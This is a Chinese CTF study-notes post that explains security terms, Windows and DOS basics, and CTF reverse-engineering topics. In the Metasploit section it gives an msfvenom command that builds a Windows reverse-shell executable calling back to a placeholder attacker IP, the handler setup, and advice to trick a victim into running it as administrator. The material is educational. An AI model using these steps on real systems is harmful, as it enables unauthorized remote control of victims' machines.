CTF备赛学习

一、 网络安全基础概念

1. 网络安全定义

网络上的信息安全(人身安全、财产安全、数据安全等)不被恶意破坏。

  • 保护网络系统的硬件、软件及其系统中的数据,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,确保系统连续可靠正常地运行,网络服务不中断。
  • 核心目标:保密性(Confidentiality)、完整性(Integrity)、可用性(Availability),也就是常说的 CIA 三元组。

2. 核心专业名词详解

名词 笔记原义 深度补充
肉鸡 被控制的电脑(被控制人的电脑攻击) 指被黑客植入木马或病毒后,可被远程操控的计算机。黑客可以用它发起 DDoS 攻击、窃取数据或作为跳板攻击其他目标。
病毒(病毒木马) 伪装成正常程序,运行后获取系统权限 病毒是自我复制的恶意代码,会感染其他文件;木马(Trojan)则伪装成正常程序,目的是偷偷植入后门,让黑客长期控制你的电脑,它本身不具备自我复制能力。
挂马 在别人网站放入有攻击代码的网页 指黑客入侵合法网站,在页面中嵌入恶意脚本(如 JavaScript),当用户访问时会自动下载木马或病毒,常见于有 XSS 漏洞的网站。
后门 在控制目标后植入特定程序进行持续控制 是黑客为了再次进入系统而留下的 "秘密入口",可以是隐藏的账号、特殊的服务端口,或者一段隐藏的代码。
弱口令 简单的密码,易被破解 指过于简单的密码(如123456admin),黑客可通过暴力破解工具(如 Hydra)在短时间内攻破。
Shell 拿到权限 指黑客获得目标系统的命令行执行权限,比如 Windows 的 cmd、Linux 的 bash,能直接执行系统命令。
Webshell 一种命令执行环境(网页文件形式存在) 是一个网页脚本文件(如.php.asp),上传到目标网站后,黑客可通过浏览器访问它,从而在服务器上执行命令,相当于 "网页版的 Shell"。
注入 数据库注入 最常见的是 SQL 注入,黑客在网页输入框中插入恶意 SQL 语句,欺骗服务器执行,从而窃取或篡改数据库中的数据。
内网 局域网 指企业或家庭内部的私有网络,通常不直接连入互联网,黑客常通过 "跳板"(如攻陷一台外网服务器)进入内网进行横向渗透。
免杀 躲过杀毒软件查杀的技术 通过修改恶意代码的特征(如加壳、混淆、加密),让杀毒软件无法识别。常见手段有:花指令、加密壳、内存加载等。
DDoS 拒绝服务攻击 分布式拒绝服务攻击,黑客控制大量 "肉鸡" 同时向目标服务器发送请求,耗尽其带宽或资源,导致正常用户无法访问。
漏扫 自动化扫描漏洞工具:nessus, xray, AWVS 指用工具自动检测目标系统或网站的安全漏洞。- Nessus :老牌漏洞扫描器,支持系统和网络漏洞。- Xray :专注 Web 漏洞扫描。- AWVS:Web 应用安全扫描工具。
0day 没有被公开的通用型漏洞 指厂商还未发布补丁的漏洞,黑客利用它可以发起 "零日攻击",危害性极大,常被高价交易。
黑产 依靠漏洞网站窃取黑客 指利用网络漏洞进行非法获利的产业链,如钓鱼、盗号、贩卖数据、DDoS 攻击敲诈等。

二、 计算机系统与 Windows 基础

1. 计算机系统组成

  • 硬件系统:主机(CPU、内存、主板) + 外设(输入设备:键盘 / 鼠标;输出设备:显示器 / 打印机;存储设备:硬盘 / U 盘)
  • 软件系统
    • 系统软件:操作系统(Windows/Linux)、驱动程序、数据库系统。
    • 应用软件:办公软件(Office)、浏览器、游戏等。

2. 操作系统(OS)

  • 核心作用:是硬件和应用软件之间的 "中间层",负责管理硬件资源(CPU、内存、磁盘),并为软件提供运行环境和 API 接口。
  • 分类
    • 桌面操作系统:Windows、macOS、Linux 桌面版。
    • 服务器操作系统:Windows Server、Linux(CentOS、Ubuntu Server)。
    • 嵌入式操作系统:Android、iOS、VxWorks。
    • 无界面系统:通常是 Linux 服务器,通过命令行(SSH)操作,资源占用更少,安全性更高。
  • 兼容性:指操作系统对硬件和软件的支持能力,比如 Windows 对游戏和办公软件的兼容性较好,而 Linux 在服务器领域更占优势。

3. 虚拟机(VM)

  • 定义:通过软件模拟出一台完整的计算机,拥有独立的 CPU、内存、硬盘,能运行独立的操作系统,和宿主机完全隔离。
  • 用途:安全测试(在虚拟机里运行恶意代码,不影响宿主机)、学习不同系统、多环境开发。
  • 常用工具:VMware Workstation、VirtualBox。

三、 Windows 用户与权限管理

1. 用户与用户组

  • 用户组 :是多个用户的集合,方便统一管理权限。比如把所有实习生加入 "Intern" 组,统一设置只能读取文件,不能修改。
  • 默认用户
    • System:系统内核级账户,拥有最高权限,用于运行系统服务。
    • Administrator:管理员账户,拥有对系统的完全控制权限。
    • Guest:来宾账户,权限极低,通常用于临时访问。
  • 常用用户组
    • Administrators:管理员组,组内用户拥有系统最高权限。
    • Users:普通用户组,组内用户只能运行已安装的程序,不能修改系统设置。
    • Guests:来宾组,权限最低,几乎无法修改任何内容。

2. 命令行操作

  • 命令提示符(CMD):Windows 自带的命令行工具,通过输入 DOS 命令管理系统。
  • 常用命令:
    • tasklist:查看正在运行的进程。
    • ipconfig:查看网络配置。
    • net localgroup:查看所有用户组。
    • net user:查看所有用户。
  • PowerShell :CMD 的升级版,功能更强大,支持脚本编程和更丰富的命令,比如Get-Location(查看当前路径)、Get-ChildItem(列出文件)。

四、 渗透测试工具:Metasploit(MSF)

1. MSF 简介

Metasploit 是目前最流行的渗透测试框架,集成了大量漏洞利用模块、Payload(攻击载荷)和辅助工具,能快速生成木马、漏洞利用和获取 Shell。

2. 生成反向 Shell 木马完整步骤

  1. 生成木马文件

    复制代码
    msfvenom -p windows/x64/shell/reverse_tcp LHOST=[你的攻击机IP] LPORT=[监听端口] -f exe -o shell.exe
    • -p:指定 Payload(这里是 Windows 64 位反向 Shell)。
    • LHOST:攻击机的 IP,目标机会主动连接这个 IP。
    • LPORT:攻击机上监听的端口。
    • -f exe:生成 EXE 格式文件。
    • -o:输出文件名。
  2. 在 MSF 中监听

    复制代码
    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/shell/reverse_tcp
    set LHOST 0.0.0.0  # 监听所有网卡
    set LPORT [刚才设置的端口]
    run
  3. 触发木马 把生成的shell.exe放到目标机器上,诱骗用户以管理员身份运行,一旦运行成功,你的 MSF 就会收到反向连接,获得目标机器的 CMD Shell。


五、 DOS 系统

  • 是早期的命令行操作系统,Windows 95/98 都是基于 DOS 开发的。
  • 虽然现在 Windows 已经图形化,但很多底层命令(如dircdcopy)仍然保留了 DOS 的风格。
  • DOS 核心基础
    • 定义:Disk Operating System(磁盘操作系统),是早期单用户、单任务的命令行操作系统,Windows 95/98 等系统基于 DOS 内核构建,其底层机制(如文件系统、内存管理)对理解 Windows 早期程序至关重要。
    • 文件格式
      • COM 文件 :DOS 下的极简二进制可执行文件,无文件头,加载后直接从 0x100 地址开始执行,代码 + 数据 + 栈共用一个段,逆向难度低,CTF 常出现简单 COM 程序的 flag 验证题。
      • EXE 文件 :DOS 下的可执行文件(与 Windows PE 文件不同),包含重定位信息和段表,通过 INT 21H 等中断调用实现功能。
    • 内存模型 :采用实模式,寻址空间最大 1MB,内存分段管理(段地址 + 偏移地址,物理地址 = 段地址 ×16 + 偏移地址),无内存保护机制,极易触发溢出漏洞。
    • 核心中断调用 :DOS 程序通过软中断实现系统功能,如 INT 21H(文件操作、输入输出)、INT 10H(显示输出),逆向时需识别中断功能号分析程序逻辑。
  • CTF 核心考点
    • COM 程序逆向
      • 直接用 debug.exe 或 IDA Pro(选择 DOS 加载模式)分析二进制代码,定位输入验证逻辑(如异或、比较指令),提取 flag。
      • 考点示例:程序读取用户输入后,与内置密文进行异或运算,通过比较结果是否匹配输出 flag。
    • DOS 批处理(.bat/.cmd)分析
      • 杂项题中常出现恶意批处理脚本,通过命令拼接、变量替换实现隐藏逻辑,需分析脚本执行流程,提取隐藏的 flag(如通过 echo 输出到隐藏文件、注册表键值)。
      • 漏洞利用:批处理脚本存在命令注入 漏洞,若未过滤用户输入,可拼接 dirtype 等命令读取 flag 文件。
    • DOS 头解析
      • Windows PE 文件的开头包含 DOS 头(IMAGE_DOS_HEADER) ,其中 e_magic 字段为 MZ 标识,e_lfanew 字段指向 PE 头偏移。CTF 逆向题常篡改 DOS 头(如修改 e_lfanew),需修复后才能正常分析 PE 文件。
    • 复古漏洞利用
      • DOS 程序无内存保护,栈溢出漏洞极易利用,构造 payload 覆盖返回地址(实模式下直接指向 shellcode 地址),执行任意代码读取 flag。
  • 必备工具
    • 调试工具debug.exe(DOS 自带调试器,用于反汇编 COM/EXE 文件)、IDA Pro(选择 DOS 加载模式分析二进制)。
    • 文件分析工具HxD(十六进制编辑器,查看 COM 文件原始二进制)、PEview(查看 PE 文件中的 DOS 头结构)。
    • 模拟器DOSBox(在现代系统中运行 DOS 程序,测试漏洞利用效果)。
相关推荐
Bin Watson1 小时前
FOC 学习记录(1):自然坐标系建模和 DQ 轴的引出
学习
『往事』&白驹过隙;2 小时前
C/C++中的格式化输出与输入snprintf&sscanf
linux·c语言·c++·笔记·学习·iot·系统调用
好好学习天天向上~~2 小时前
12_Linux学习总结_进程地址空间(虚拟地址)
linux·学习
red_redemption3 小时前
自由学习记录(119)
学习
invicinble3 小时前
关于学习技术栈的思考
java·开发语言·学习
BryanGG4 小时前
【英语】自然拼读学习笔记
笔记·学习
前路不黑暗@4 小时前
Java项目:Java脚手架项目通用基类和常量类的封装(九)
java·spring boot·笔记·学习·spring cloud·maven·intellij-idea
我命由我123454 小时前
Photoshop - Photoshop 工具栏(61)切片工具
学习·ui·职场和发展·求职招聘·职场发展·学习方法·photoshop
我命由我123455 小时前
Photoshop - Photoshop 工具栏(62)切片选择工具
学习·ui·职场和发展·求职招聘·职场发展·学习方法·photoshop